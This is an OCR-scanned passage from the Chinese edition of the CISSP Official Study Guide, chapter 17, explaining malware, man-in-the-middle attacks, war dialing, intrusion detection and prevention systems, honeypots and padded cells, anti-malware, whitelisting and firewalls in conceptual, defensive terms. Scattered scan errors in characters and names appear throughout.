能揭示使用零 日 漏洞攻击的原理。 蜜罐和填充单元在本章后面会做出 解释 。
9. 恶意代码
恶意代码是指在计算机系统上执行不必要的 、 未授权的或未知活动的脚本或程序。 恶意代码可
以采取多种形式， 包括病毒、 蠕虫、 特洛伊木马、 具有破坏性的宏文件和逻辑炸弹。 它们通常被称
为恶意软件或恶意代码。 恶意代码存在于每一种类型的计算机或计算设备上， 它们是现今最常见的
安全问题。 第 2 1 章将详细介绍恶意代码。
传播病毒的方法不断发展。 几年前， 最流行的方法是通过软盘， 手动完成系统与系统之间的传
播。 后来， 最流行的方法是通过电子邮件的附件或嵌入式脚本。 今天， 许多专业人士认为， 偷渡式
下载是最流行的方法。
偷渡式下载可以未经用户许可就将恶意软件下载并安装在用户 的系统中 。 攻击者修改网页上的
代码， 当用户访问时， 代码未经用户许可就在用户 系统中下载和安装恶意软件 。 攻击者有时-会利用
合法的网站， 并向其添加恶意代码以便实现偷波式下载。 他们还拥有 自 己的恶意网站 ， 并使用 网络
钓鱼或重定向 的方法使用户进入网站 。 大多数偷渡式下载利用 的是未安装补丁的系统的漏洞， 所以
保持系统更新能起到保护作用 。
注意 :
最近的一些偷渡式下载程序 包括Zeus和 Gumblar. Zeus通过偷渡式下载和网络钓鱼尝试未传播，
并且一旦安装后， 就会窃取银行站点的凭证. 感染了 Gumblar 的网站会将用 户 重定向到 另 一个网站，
然后下载并打开受感染 的 PDF 文件。
安装恶意软件的另一种流行方法是使用付费的安装方法。 罪犯支付网站运营商一定 费用购买他
们 的恶意软件， 这通常是假冒 的反恶意软件平白字。 网站运营商从每一个由其网站发起的安装中获利 。
根据赛门铁克公司调查， 每次安装获利金额从 13 美分到 30 美元不等， 这取决于安装软件的类别及
安 装位置。
500
虽然大多数恶意软件来自 于互联网 ， 但也有些是通过 USB 闪存驱动器传输的。 当用户在系统中
插入 USB 闪存驱动器时， 许多病毒都能检测到， 然后感染驱动器。 当用户将其插入另一个系统时，
恶意软件会感染另一个系统 。
1 0 中间人攻击
当恶意用户能够逻辑上获得正在进行通信的两个端点之间的位置时， 中 间人攻击就会产生。 中
第 1 7 章 事件预防和晌应
间人攻击有两种。 一种涉及复制或嗅探双方通信， 这基本上算是嗅探攻击， 如第 1 4 章所述。 另一种
类型是攻击者在通信线路上定位 自 己， 将本身作为存储和转发或代理机制， 如 图 1 7.3 所示 。 客户端
和服务器认为它们是直接连接的。 然而， 攻击者捕获和转发这两个系统之间的所有数据。 攻击者可
以 收集登录凭据和其他敏感数据 ， 以及改变两个系统之间 交换的消息内容。
中 间人攻击者
图 1 7.3 中间人攻击
中间人攻击比其他许多攻击需要更多技术， 因为从客户角度出发， 攻击者需要冒充服务器， 从
服务器的角度来看， 攻击者还要冒 充客户端。 中 间人攻击往往需要组合多种攻击。 例如， 作为攻击
的一部分， 攻击者可能会改变路由信息和 DNS 值 ， 或伪造地址解析协 议(ARP)查找 。
通过保持系统更新最新补丁， 能够预防一些中间人攻击。 入侵检测系统通常无法检测到中间人
或劫持人攻击 ， 但可 以检测到通信线路上的异常活动并对可疑活动提高警惕 。
11. 战争拨号
战争拨号是一种使用调制解调器搜索接受入站连接尝试的系统的行为。 战争拨号器通常是附有
调制解调器以及运行战争拨号程序的计算机， 也可以是一台单独的设备 。 不管采用哪种形式， 战争
拨号器都被用于系统地拨打电话号码， 并且能够侦昕计算机载波音。 一旦检测到某个计算机载波音，
战争拨号器就会在搜索过程结束时， 在生成的报告中添加相应的 电话号码。 战争拨号器能够被用于
搜索任意号码段， 例如特定前缀内 的所有 1 0 000 个号码或特定电话区号内 的所有 1 0 000 000 个号码。
虽然对调制解调器的使用 己大幅减少 ， 但仍有组织在使用 。 对于那些没有访问 互联网权限的员
工来说， 调制解调器为他们提供了远程访问 的途径。 同时， 员工己经掌握了通过在工作系统上安装
调制解调器， 并避开组织的监控工具来访问 互联网 的方法。
一种新的战争拨号形式能够在不使用调制解调器的情况下， 使用互联网协议电话σroIP)拨号 ，
这样攻击者就能够扫描到更多的电话号码， 并发现除了调制解调器以外的其他设备， 如传真机、 语
音信箱、 拨号音和人的声音。 例如， Metasploit 纳入了 WarVOX 的更新版本(一种使用 VoIP.Metasploit
的战争拨号工具)， 是一款众所周知 的被攻击者和测试者使用 的渗透测试工具。
抵御恶意战争拨号攻击的对策包括: 实施强大的远程访问安全性(主要依靠强的身份认证)， 确
保不存在未授权的调制解调器 ， 以及使用 回叫安全机制 、 协议约束与呼叫登入 。
501
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CISSP 官方学习指南(第 7 版)
1 2. 破坏
破坏指的是员工对组织的破坏行为 。 如果员工对组织的资产足够了解， 且有足够的机会来操作
环境的关键位置， 破坏将会构成风险， 破坏通常发生在员工 自 身怀疑将被无故解雇或被解雇员 工仍
对 系统有访 问权的情况下。
这也是员工被解雇后应立即终止或禁用其账户的另一个重要原因 ， 预防员工破坏的其他保障措
施还有定期审计、 监测异常或未授权的活动、 保持员工和管理人员之间的沟通开放， 并适当奖励
员工。
1 3. 间谍
间谍是一种收集专有的、 秘密的、 私人的 、 敏感或机密信息的恶意行为。 攻击者经常从事间谍
活动， 目 的是向竞争对手或其他感兴趣的组织(如外国政府)披露或出售信息。 攻击者可以是不满的
员工， 在某些情况下， 也可 以 是受来 自 其他组织勒索的员工。
间谍也可以指被安排在某一组织的人或被放置在组织内的设备， 用于为主要秘密雇主提供信息。
在某些情况下 ， 间谍活动的发生离工作场所较远， 比如在会议上或大事件中， 这些人专门利用员工
的流动性进行间谍活动 。
反间谍活动指严格控制访问所有的非公开数据 ， 彻底筛选新的员工， 并有效地跟踪所有员 工
活动。
1 7.2.3 入侵检测和防御系统
入侵发生时， 攻击者能够绕过或破坏安全机制， 并获得组织的资源。 入侵检测是一种特定形式
的监测， 通过监控记录信息和实时事件来检测潜在事件或入侵的异常活动。 入侵检测系统(IDS)通过
自 动检测 日 志和实时 系 统事件 以检测入侵和系统故障。
入侵检测系统能够有效检测许多DoS和DDoS攻击。 它们可以识别来 自外部连接的攻击， 如来自
互联网 的攻击， 以及通过内部传播的攻击， 如恶意蠕虫。 一旦发现可疑的事件， 便会通过发送或响
起警报的方式来做出回应。 在某些情况下， 它们可以修改环境来阻止攻击。 入侵检测系统的主要 目
标是提供能够及时和准确应对入侵的方法。
入侵检测
注意 :
系统是纵深防种安全计划的一部分， 将与其他安全机制(如防火墙)共存， 并相互补充，
但并不会取代它们 。
入侵防御系统(IPS)具有入侵检测系统的所有功能， 而且还可以采取额外的措施来阻止或防止入
侵 。 如果需要的话， 管理员 可 以禁用 IPS 中 的这些额外功能 ， 使之成为入侵检测系统。
你会经常看到入侵检测和防御系统的结合(IDPS)。 例如， NIST SP 800-94 "入侵检测和防御系统
指南': (NIST 特别出版物下载页面: http://csrc.nist.gov/publicationslPubsSPs.html)， 详细且全面介绍了
入侵检测和防御系统， 但在本书中简化使用 IDPS 代替两者 。 在本章中 ， 我们描述了 使用 IDS 检测
攻击的方法， 它们如何应对攻击， 以及 IDS 所支持系统的类型。 我们会在 IPS 的适当位置添加信息。
第 1 7 章 事件预防和响应
CISSP 目 标的历史
ClSSP认证在 1994 年被首次建立并推出 ， 并经历 了多年的 变化。 同样， 随着新威胁的 出现以及
安全人员 对安全控制 的创建和改进， IT 安全性也经历 了 一些 变化。
。sci发布的应试者信息冶告(CIB)中确定了 8 个领域， 还列 出 了 域内主要的主题和副主题。 CIB
提供有限的考试蓝图。 在 2002 年， (lsci称该文档为 CISSP CBK 学习指南。 尽管 学习指南中的内
容更详尽， 但它 和 目 前的 CIB 很相似。
入侵检测是一个 己在 CISSP 的 CBK 和 CIB 中存在多 年的话题。 在 2002 年的 CBK 学习指南中，
入侵检测 内 容包括访问控制 系统的方法论域和业务安全域两部分( 目 前 CIB 将这两个域分别命名 为
身 份与访问 管理、 安全运营)。
然而， 2009和20 12 年的 CIB 中 并没有 包含任何有关入侵检测的信息。 入侵检测仍在测试中 ，
但并没有被列 出 来。 在本书 的最新版本中 ， 我们将入侵检测列入 "实施预防攻击措施" 的一部分。
在这个版本的 CIB 中 ， (lsci在预防措施的 目 的 中 ， 再次提及入侵检测和防御系统。 随着这一话题
不 断 出 现， 我们 能确定入侵检测是考试的重要考点。
1 基于知识和基于行为的检测
入侵检测系统(IDS)能够通过监控网络流量和检查 日 志来检查有无可疑活动。 例如， 入侵检测系
统使用传感器或代理设备来监控路由器和防火墙等关键设备。 这些设备有可 以记录活动的 日 志， 传
感器可以将这些 日 志条 目 转发给入侵检测系统， 以便分析。 一些传感器将所有的数据发送到入侵检
测系统， 而 另一些传感器检查条目， 只 发送特定 的 日 志条 目 。 具体方式取决于管理员对传感器的
控制。
入侵检测系统对数据进行评估 ， 并使用如下两种常见方法对恶意行为进行检测: 基于知识的检
测和基于行为的检测 。 总之， 以知识为基础的检测使用签名 ， 这种签名类似于反恶意软件中使用 的
签名定义。 基于行为的检测不使用签名 ， 而是将活动同正常性能的基线进行对比， 以检测异常行为。
许多入侵检测系 统采用两者相结合的方法 。
基于知识的检测 最常用 的检测方法是基于知识的检测(又称为模式匹配检测或基于签名 的检
测)。 它使用 由入侵检测系统供应商开发的 己知攻击的数据库 。 例如， 一些自 动化工具可以启动 SYN
泛洪攻击， 而这些工具的模式和特点均已在签名数据库中定义。 流量数据实时与数据库相匹配， 如
果入侵检测系统发现匹配， 则发出警告。 基于知识的入侵检测系统的主要缺点是， 只对己知的攻击
方法有效。 新 的攻击或 己知攻击被稍微修改版本 ， 入侵检测就会失效。
IDS 中基于知识的检测类似于反恶意软件应用 中基于签名的检测。 反恶意软件应用有 己知恶意
软件的数据库， 井在数据库中检索 ， 寻找匹配的文件。 正如反恶意软件应用必须从软件供应商那里
获得更新， 入侵检测数据库也必须定期更新攻击签名 。 大多数的入侵检测系统供应商提供自 动更新
签名 的方法。
基于行为的检测 第二种检测类型是基于行为的检测(也被称为统计入侵检测、 异常检测和基于
启 发式的检坝。。 基于行为的检测最开始在系统中创建正常活动和事件的基线。 一旦积累 足够多的能
够确定正常活动的基线数据 ， 便可 以检测恶意入侵或恶 意事件的异常活动 。
基线通常在有限的时间内建立起来， 例如一个星期。 如果网络被修改， 基线需要更新。 否则，
入侵检测系统可能会提醒存在异常活动 ， 但其实是正常的。 一些产品继续监测网络， 以 了解更多 的
正 常活动 ， 并且会根据监测更新基线 。
503
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CISSP 官方学 习 指南(第 7 版)
基于行为的入侵检测系统使用基线 、 活动数据、 启发式评估技术将当前活动同先前活动进行比
较 ， 以检测潜在恶意事件。 许多可以执行状态包分析， 这类似于通过状态检测防火墙(第 1 1 章中有
相关介绍)检测基于网络流量的状态。
正常的分析能够使入侵检测系统识别下列情况， 并作出相应反应。 具体情况有: 流量及活动的
激增 ， 多 次失败的登录尝试， 在正常工作时间 以外的登录或程序活动， 或突然增加的错误或失败信
息 。 所有这些都代表发生 了 以知 识为基础 的检测系统所无法识别 的攻击。
基于行为的入侵检测系统可以被认为是专家系统或伪人工智能系统， 因为它可以学习井对事件
做出假设。 换言之， 入侵检测系统可以像人类专家一样， 能够通过己知事件对当前事件进行评估。
基于行为的入侵检测系统的正常活动和事件的信息越多 ， 检测到异常情况的概率就会越高。 不同于
基于签名 的检测， 基于行为的入侵检测系统的一个明显好处是可以不使用签名 ， 便能检测到新的
攻击。
基于行为的入侵检测系统的主要缺点是， 往往会发起大量的假警报， 也被称为虚假警报或误报。
在正常操作过程中 ， 用户和系统活动的模式可能会有很大的不同， 使得难以准确地定义正常和异常
活动的边界。
@ 真实场景
虚假警报
许多 入侵检测 系 统管理员 面临的一个挑战是在入侵检测 系统发送的牵制吴警报或警报的数量之间
找到一个平衡点 ， 以确保入侵检测报告的真实性。 在我们所了 解的一个组织 中 ， 其入侵检测 系 统在
几天内发出 了 一系列警告， 调查后发现是虚假警报。 管理员 对 系统失去信心， 后悔在这些虚假警报
上浪费 了 时 间 。
之后， 入侵检测 系统在发生真实攻击时发送了 报告。 然而， 管理员 正在积极解决另 一个他们认
为是真实攻击的 问题， 所以并没有花时间去检查他们认为 的假警报。 管理员 只是简单地驳回 了 入侵
检测 系 统的警报， 直到 几天之后 才发现攻击发生 了 。
2. IOS 晌应
虽然基于知识和基于行为的入侵检测系统使用的方法不同 ， 但是它们都使用警报系统。 当入侵
检测系统检测到事件时 ， 便会触发报警。 然后， 可 以使用被动或主动的方法做出响应。 被动响应是
指系统记录事件并发送通知。主动响应是指系统通过改变环境来阻止活动而不是做记录和发送通知。
注意 :
在某些情况下 ， 可以在防火墙的前后各放直一个被动式入侵检测 系 统， 以检查防火墙的有效性。
通过检查两个 IDS 警报， 使能确定被防火墙阻挡的攻击类型 而 不是仅仅确定正在进行的攻击类型。
被动响应 系统能够通过电子邮件、 文本、 寻呼消息或弹出消息的方式将信息发送给管理员 。
在某些情况下 ， 如有必要， 警报可以生成一份报告， 详细说明事件和 日 志活动 ， 可 为管理员提供更
多的信息。 许多 24 小时的网络运营中心(NOC)都有中央监控屏幕， 主要支持中心的所有人员都能看
到 。 例如， 一面墙上有多个大屏幕 ， 实时监测井显示 NOC 中 的不同网络元素数据。 IDS 警报会显
示在一个屏幕上， 以确保工作人员及时了解事件。 这些即时通知帮助管理员'快速有效地对未知行为
第 1 7 章 事件预防和晌应
做出响应 。
主动响应 主动响应可以使用几种不同的方法来修改环境。 典型的一些回应有通过修改 ACL
以 阻止基于端 口 、 协议和源地址的流量输出 ， 甚至可以禁用某段电缆上的所有通信。 例如， 如果 IDS
检测到来自某- IP 地址的 SYN 泛洪攻击， IDS 可 以通过改变 ACL 以阻止来自该 E 地址的所有流
量输入。 同样， 如果 IDS 检测到来 自 多个E地址的 pmg泛洪攻击，可以改变 ACL 以阻止所有的 IC扎。
流量输入。 入侵检测系统也可以阻止可疑或非法用户 的资源访问。 安全管理员事先对这些活动配置
合适的响应方式， 并可 以根据环境的变化做出调整。
注意 :
使用 主动响应方式的 IDS， 通常被称为 IPS(入侵防种系 统)。 在某些情况下， 这样说是准确的 。
然而， IPS(在本节后面介绍)应与 系 统流量相一致。 如果某个主动 IDS 与 系 统流量相一致， 它就是 IPS。
如果不一致， 就不能称之为 IPS， 因 为 它只有在进程中检测到攻击之后才能做出反应 。 NIST SP 800-94
建议将所有主动 IDS 与 系 统一起安装， 以使它们 能发挥 IPS 功能。
3 主机型和网络型 IDS
IDS 一般根据信息来源进行分类。 目 前主要有两类 IDS: 主机型与网络型。 主机型 IDS(HIDS)
监视单个计算机或主机上的可疑活动， 网络型 IDS例IDS)则监视在网络介质上进行的可疑活动。
基于应用程序的入侵检测系统很少使用 ， 它是一种特定类型的基于网络的入侵检测系统。 它监
视两个或多个服务器之间 的特定应用程序流量。 例如， 基于应用程序的入侵检测系统可以监视 Web
服务器和数据库服务器之间 的流量， 以寻找可疑活动 。
主机型 IDS HIDS 监视单个计算机上的活动 ， 包括过程调用和 日 志， 这些 日 志记录在系统、
应用 、 安全和基于主机的防火墙中 。 它检测的事件比 NIDS 更详细， 并且可以在攻击中找到特定的
文件， 同 时还可以跟踪攻击者采用 的进程 。
HIDS 优于 NIDS， 是因为它可以检测到主机系统上的异常。 例如， 回DS 能够检测到攻击者进
入系统并进行远程监控的感染点。 你可能会注意到， 这听起来类似于电脑上的反恶意软件， 确实是
这样。 许多 皿DS 都拥有反恶意软件的能力 。
虽然很多厂商建议在所有系统中安装基于主机的 IDS， 但该行为仍不常见， 因 为 HIDS 也有缺
点 。 相反， 许多组织选择在关键的服务器上安装 HIDS 作为附加保护。 HIDS 的缺点是费用和相关的
可用性。 HIDS 比 NIDS 更昂贵， 因 为它们需要对每个系统进行监视， 而 NIDS 通常支持集中式管理。
HIDS 不能检测到其他系统的网络攻击。 此外， 它还将消耗大量的系统资源， 降低主机系统的性能。
虽然限制 团DS 所使用的系统资源也是可以做到的 ， 但这样通常会导致对一次活跃攻击的遗漏检测。
此外 ， 四DS 更容易被攻击者发现， 并且 日 志将会保存在系统中， 这更方便入侵者修 改 日 志 。
网络型IDS NIDS监测井评估网络活动来检测攻击事件或异常。 它不能检测加密流量的内容，
但可以监测其他数据包的信息。 NIDS系统通过使用远程传感器来收集关键网络位置的数据， 以监测
大型网络。 在关键网络位置能够将数据发送到中央管理控制台， 这些传感器可以监视路由器、 防火
墙 、 支持端 口 镜像的网络交换机和其他类型的网络端口流量 。
提示 :
交换机JÆ.常手阳有于阻止恶意嗅探。 如果 IDS 被连接到 交换机上一个正常的端 口 ， 它将只捕获网
络流量的一小部分， 这样就不会产生太大作用 。 相反， 交换斗M皮配直到能够监测 IDS 上特定端 口 的
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CISSP 官方学 习指南(第 7 版)
所有流量(通常被称为端 口 镜像)。 在忠、科交换机上 ， 用 于端 口 镜像的端 口 被称为 交换端 口 分析器
(Switched Port Analyzer， SPAN)端 口 。
中 央控制台通常被安装在单一用途的计算机上， 以防止攻击。 这减少了 NlDS 漏洞， 并可以让
它的运行透明， 使得攻击者难以发现井做出 攻击。 网络型入侵检测系统对网络整体性能的负面影响
很小， 当它被安装在单一的系统上时， 不会对其他任何计算机的性能产生不利影响。 在犬流量的网
络中， NIDS 可能无法跟上数据流量， 但可 以 添加额外的系统以平衡负载。
通常情况下， 网络型入侵检测系统可以通过反向地址解析协议攻击源(瓦忧的或反向域名系统
(DNS)查找攻击源。 然而， 攻击者往往使用虚拟 E 地址或僵尸网络发起攻击， 这需要做更深入的调
查 以确定攻击源。 该过程很困难， 并且己经超出 了 入侵检测系统的检测范围。 然而， 可 以通过一些
调查手段找到虚假 IP 源 。
警告 :
对入侵者发起反击或试图反黑客入侵是不道德的 ， 也是有风险的 。 相反， 可以依靠 日 志记录和
嗅探收集功 能 ， 来收集足够的数据以起诉 罪 犯或 改善环境安全。
NlDS 通常能够检测到攻击或将要进行的攻击， 但它们往往不能提供有关攻击成功的信息。 如
果攻击感染了特定的系统、 用户账户 、 文件或应用程序， NIDS 就不会检测到。 例如， NlDS 可能会
发现通过网络发迭的缓冲区溢出攻击， 但不一定了解该攻击是否成功感染了系统。 然而， 管理员 收
到警报后， 他们会检查相关的系统。 此外， 调查人员可以将 NlDS 日 志作为审计线索的一部分以 了
解入侵 防御系统中发生的攻击。
4. 入侵防御系统
入侵防御系统(IPS)是一种特殊类型的主动入侵检测系统， 能够在攻击到达目 标系统之前进行检
测并阻止攻击， 有时也被称为入侵检测和防御系统(IDPS)。 两者之间最主要的区别就是 IPS 同流量
保持一致， 如 图 1 7.4 所示。 换句话说， 所有流量必须通过 IPS， IPS 可 以在分析之后选择将流量通
过或阻止。 这使得 IPS 能够阻止攻击到达 目 标。
互31一才 品 | 内 部
网络
相反， 与流量不一致的 IDS 只 有在攻击到达 目标之后才能检测到。 主动 IDS 能够在攻击开始之
后采取措施阻止攻击 ， 但不能预防攻击。
就像其他的 IDS 一样， IPS 可 以使用基于知识的检测矛W或基于行为的检测。 此外 ， 可 以记录活
动 ， 并像 IDS 一样给管理员发 出 警报 。
5. 理解黑暗网络
在入侵检测环境中 ， 黑暗网络使用 己分配的、 不使用 的 E 地址网络空间 的一部分， 包括一台 己
配置的、 为捕获所有进入黑暗网络的流量的设备 。 由于 E 地址没有被使用 ， 黑暗网络没有任何其他
主机并且也应该根本没有任何流量。 但是， 如果正在探测网络的攻击者或恶意软件正在试图扩散，
那么黑暗网络中 的主机将会探测和捕捉到这项活动。 这样的好处是很少有误报信息。 合法流量不会
第 1 7 章 事件预防军日响应
出 现在黑暗 网络中， 除非有网络配置错误， 否 则 出 现在黑暗网络中 的流量是不合法的 。
1 7.2.4 特殊的防御措施
虽然入侵检测和防御系统对于保护网络需要走很长的路， 但是管理员通常可以使用额外的安全
控制措施来保护他们的网络。 以 下部分描述了其中几个额外的预防措施。
1 . 蜜罐/蜜网
蜜罐通过创建独立的计算机作为陷阱来捕获入侵者。 可通过两个或多个联网蜜罐一起来模拟网
络。 它们看起来像是合法的系统， 但它们对于攻击者不存放任何真实的有价值的数据。 管理员通常
配置带有漏洞的蜜罐 ， 诱使入侵者攻击他们。 它们可能是未打的补丁或管理员有意打开的安全漏洞。
目 标是抓住入侵者的注意力， 井使入侵者远离保存有价值资源的合法网络。 合法用户 无法访 问蜜罐，
因 此对蜜罐的任何访 问 都很可能是未授权的入侵者。
除了使攻击者远离生产环境之外， 蜜罐也为管理员提供 了机会， 使他们在不破坏真实环境的情
况下观察攻击者的活动。 在某些情况下， 蜜罐可以用来延迟入侵者的侵入时间 ， 以便 IDS 尽可能多
地检测和收集有关入侵者的信息。 攻击者在蜜罐中花费的时间越长 ， 管理员调查和识别入侵者的时
间 就越多 。 许多安全专家认为蜜罐能够有效防范零 日 攻击 。
通常情况下， 管理员将蜜罐和蜜罐网络放置在虚拟网络中。 在被攻击之后重建也很简单。 例如 ，
管理员可 以配置蜜罐， 然后给蜜罐虚拟机拍快照 。 如果攻击者修改了环境， 管理员可以将机器恢复
到拍快照时的状态。
蜜罐的使用 引出了有关引 诱与诱捕问题的讨论。 如果入侵者不是在蜜罐所有者对外公开时发现
蜜罐， 那么蜜罐就可以作为合法的引诱设备使用 。 在互联网上放置安全脆弱性开放的系统并用 己知
的方法激活服务就是引诱 ， 引 诱提供从事非法或未授权活动的机会但是由犯罪者自 己决定是否执行
活动。 当 蜜罐的所有者积极地唆使访问 者访问蜜罐所在站点， 然后控诉访问者的未授权入侵 ， 这就
是非法诱捕。 换句话说， 当哄骗或怂恿犯罪者执行非法的或未授权活动时， 就应该考虑到这是诱捕。
2. 理解伪漏洞
伪漏洞是被故意植入系统中 ， 试图引 诱攻击者的虚假漏洞或明显漏洞。 它们通常作为己知的操
作系统漏洞被用在蜜罐系统中。 试图寻找己知漏洞的攻击者可能会被伪缺陷迷惑， 并认为他们 已经
成功穿透了系统。 更复杂的伪缺陷机制能够完全模拟渗透效果并向攻击者证明， 他们已经成功获得
系统的访问权。 然而， 当攻击者破解系统时 ， 监测和报警机制 已经被触发， 并向管理员发出威胁
警报。
3. 理解填充单元
填充单元系统与蜜罐类似， 但使用不同的方式来隔离入侵。 当入侵者被 IDS 检测到时， 入侵者
被 自动转移到填充单元。 填充单元具有实际网络的结构和布局， 但是在填充单元里， 入侵者既不能
执行任何恶意活动， 也 不能访 问 任何机密数据。
填充单元是模拟环境， 类似蜜罐， 通过提供伪造数据来吸引入侵者。 但是， 将入侵者转移到填
充单元时， 并不会告知入侵者环境已经发生变化。 相 比之下， 攻击者选择攻击蜜罐。 填充单元被管
理员严密监控， 并且用它们跟踪和收集可能发生的诉讼证据 。
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CISSP 官方学习指南(第 7 版)
4. 警告框
警告框将基本安全策略准则通知给用户和入侵者。 通常他们会提示在线活动被审计和监控， 并
提供受限制的活动提醒。 在大多数情况下 ， 从法律的角度来看， 警告框中的措辞很重要， 因 为这些
警告框可 以将用户 合法地束缚到一组活动 、 行为或过程中 。
能够登录到系统的未经授权人员 也能看到警告框。 在这种情况下， 警告框可以被看作 " 禁止入
内 " 的牌子的 电子等价物。 当所有活动被监测并记录， 且警告框清楚表明禁止未经授权的访问时，
可 以对入侵者和攻击者发起起诉。
提示 :
警告框对投权和未经投权的用 户 同 时发出通知。 警告框通常提示技权用 户 可接受使用 协议的
内 容。
5. 反恶意软件
阻止恶意代码最重要的措施是使用带有最新签名文件的反恶意软件。 攻击者定期发布新的恶意
软件， 并经常修改现有的恶意软件来阻止反恶意软件的检测。 反恶意软件供应商寻找这些变化， 并
开发新的签名文件来检测新的恶意软件并对其进行修改。 几年前， 反恶意软件供应商建议每周更新
一次签名文件。 然而现今， 在没有用户干预的情况下， 大多数的反恶意软件每天会检查更新数次。
508
注意 :
最初， 反恶意软件将注意力 集中在病毒上。 然而， 恶意软件不断扩展， 最终含有其他恶意代码，
如木马 、 蠕 虫 、 间谍软件和 rootkit， 供应 商也随之扩展了 他们的反恶意软件的功能。 现在， 大多 数
的反恶意软件都能够检测并阻止大多 数恶意行为 ， 所以在技术上可以称之为 anti-malware 软件。
CISSP CIB 中 使用 anti-malware 作 为 专 业术语。
许多组织使用 多种方法来阻止恶意软件并进行检测。 含有内容过滤功能的防火墙(或 内容过滤应
用程序)通常被用在互联网和内部网络之间的边界上， 以过滤恶意代码。 专业的安装在电子邮件服务
器上的反恶意软件， 能够检测并过滤出 电子邮件中的恶意代码。 此外 ， 在每个系统上安装反恶意软
件 以检测和阻止恶意软件的侵入。 组织经常使用一台中心服务器来部署反恶意软件和下载更新， 以
及将更新推送到客户 端 。
在每个系统中 ， 多方式并重的反恶意软件除了能过滤系统内容之外， 还有助于保护系统免受感
染。 举个例子， 在每个系统中使用最新版的反恶意软件能够检测并阻止员工的 USB 闪存驱动器中 的
病毒。
反恶意软件供应商通常建议在一个系统上只安装一个反恶意软件应用程序。 当系统中有多个反
恶意软件应用程序时， 它们之间会互相干扰， 有时会导致系统出现问题。 此外， 有多个扫描器会消
耗过多 的系统资源。
遵循最小特权原则也有帮助。 用户没有系统管理权限， 无法安装可能是恶意的应用程序。 如果
有病毒感染系统， 就可以模拟登录用户 。 当该用户 的权限有限时， 病毒的能力也是有限的。 此外，
增加额外的应用程序也会增加与恶意软件相关的漏洞。 每一个额外的应用手到字都为恶意代码提供了
一个潜在的攻击点 。
培训用户 以了解恶意代码的危险性， 了 解攻击者如何欺骗用户安装恶意软件， 了 解如何控制风
第 1 7 章 事件预防和响应
险， 这也是一种保护措施。 很多情况下， 用户只要不点开链接， 或不打开电子邮件的附件， 就可以
避免感染。
第 14 章 " 控制和监控访问" 讨论了社会工程学， 包括网络钓鱼、 鱼叉式网络钓鱼和捕鲸。 当用
户 了解这些攻击类型时， 便很难上当。 尽管用户 了解了这些风险的有关知识， 钓鱼邮件仍然充斥着
整个网络， 并被发送到用户 的收件箱。 攻击者继续发送邮件的唯一原因是他们想继续欺骗一些用户 。
教育 、 策略和工具
对于任何使用 IT 资源的组织来说， 恶意软件都是要面 临 的一个持续 不断的挑战。 想想 也ru， 他
通过邮件向 Larry 的账户 转发 了 一个看似无害的 办公室笑话。 Larry 打开文件， 它 实 际上 包含源代码
段， 该源代码段能够在 Larry 的 系 统中进行有害行动。 之后 LalTy 向其工作站报告 了许多 "性能问题"
和 "稳定性问题" ， 而 这些在之前从来没有报告过。
在这种情况下 ， 阳m 和 Larry 没有意识到他们看似无害的活动所造成的危害。 毕竟， 通过公司
的 电子邮件分享轶事和笑话是一种联络和社交的常见方式。 怎 么会有害处呢? 真正的 问题是， 我们
应 如何教育 Kim、 Larry 和所有其他用 户 谨慎处理共享文件?
关键是教育 、 策略和工具的结合。 应教育 阻ru， 使他明 白 给公司 网络转发与 工作无关的材料违
反策略和道德。 同样， Larry 应该认识到 ， 打开与 工作无关的 附件会导致各种各样的 问题。 策略中应
该清楚地写 明 IT 资源可使用 的范围和未投机材料的危险性。 像反恶意软件这样的工具， 应被用 来预
防和检测环境中 任何类型 的 恶意软件。
6. 自 名单和黑名单
白名单和黑名单可 以有效阻止用户运行未授权的应用2白字。 它们还有助于预防恶意软件感染。
自 名单有助于识别系统中经过授权的软件 ， 黑名单能够识别系统中未经过授权的软件 。 自名单中不
含有恶意软件， 但能阻止其运行。 一些白名单识别应用程序使用哈希算法来创建哈希。 然而， 如果
一个应用程序感染了病毒， 该病毒可以有效地改变哈希， 因此自名单也能阻止这类被感染的应用程
序运行(第6章 " 密码学与对称加密算法 " 讨论了更深入的散列算法)。
在 iPhone 和 iPad 上运行的 iOS 是一个极端的自名单例子。 用户只能从苹果的应用程序商店安
装应用程序。 苹果的工作人员对商店的所有幸型芋进行检查和批准， 并及时消除不 良行为。 虽然用户
可 以将 iOS 设备越狱以绕过其安全保护 ， 但大多数用户为了质量而选择拒绝越狱。
注意 :
越狱的 iOS 设备， 九许对操作 系 统中民主及别 的访问 ， 类似于在运行安卓操作系统的设备上刷机，
如果管理员能够确定想阻止的应用程序， 黑名单是很好的选择。 例如， 如果管理层想确保用户
不在他们的系统上运行游戏， 管理员可 以使用工 具来阻止这些游戏的安装。
7. 防火墙
防火墙通过过滤流量为网络提供保护 。 正如在第 1 1 章 中讨论的， 防火墙 已经历多年变化。
基本的防火墙使用协议号过滤基于 E 地址、 端 口 和-些协议的流量。 防火墙含有 ACL 中 的一
些规则， 能够允许特定的流量， 以及以隐式拒绝规则结束。 隐式拒绝规则阻止以前的规则所不允许
的所有流量。例如， 防火墙可以分别通过允许使用 TCP 端 口 80 和 443 的流量来允许 HπP 和 H口PS
流量(第 1 1 章 详细叙述了 逻辑端 口 的有关细节)。
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CISSP 官方学 习 指南(第 7 版)
ICMP 使用 l 号协议， 所以防火墙通过允许带有协议号 l 的流量允许 plllg 流量。 同样， 防火墙
可 以通过分别允许带有协 议号 50 和 5 1 的流量来允许 IPSec 封装安全协议(ESP)流量和 IPsec 认证头
(址句流量。
注意 :
王联网地址分自己权构(IANA)维护一组与协议相关的 已知端口。 IANA 同 时也维护 IPv4 和 IPv6
中 的指 定 IP 号码列表。
第二代防火墙添加了 额外的过滤功能。 例如， 应用级网关防火墙能够过滤基于特定应用需求的
流量， 而电路级网关防火墙能够过滤基于通信电路的流量 。 第三代防火墙(也称为状态检测防火墙和
动态包过滤防火墙)能够过滤基于流量状态的流量。
下一代防火墙含有统一威肋、管理(Unified Threat Manag巳ment， UTM)装置的功能， 并将几个过滤
功能结合在一起。 它包括传统的功能， 如数据包过滤和状态检测 。 然而， 它能够执行数据包检测技
术， 使其能够识别和阻止恶意流量。 它可以过滤使用定义文件和/或自名单和黑名单的恶意软件。 它
还包括入侵检测和/或入侵防御功能。
8. 沙箱
沙箱为应用提供了一个安全边界， 以防止应用程序与其他应用程序交互。 反恶意软件应用程序
使用沙箱技术来检测未知的应用 。 如果应用手里芋显示可疑特征， 沙箱技术能够防止应用*_!Ej芋感染其
他应用程序或操作系统。
应用程序开发人员经常使用虚拟化技术来测试应用程序。 他们创建一台虚拟机， 接着将其与主
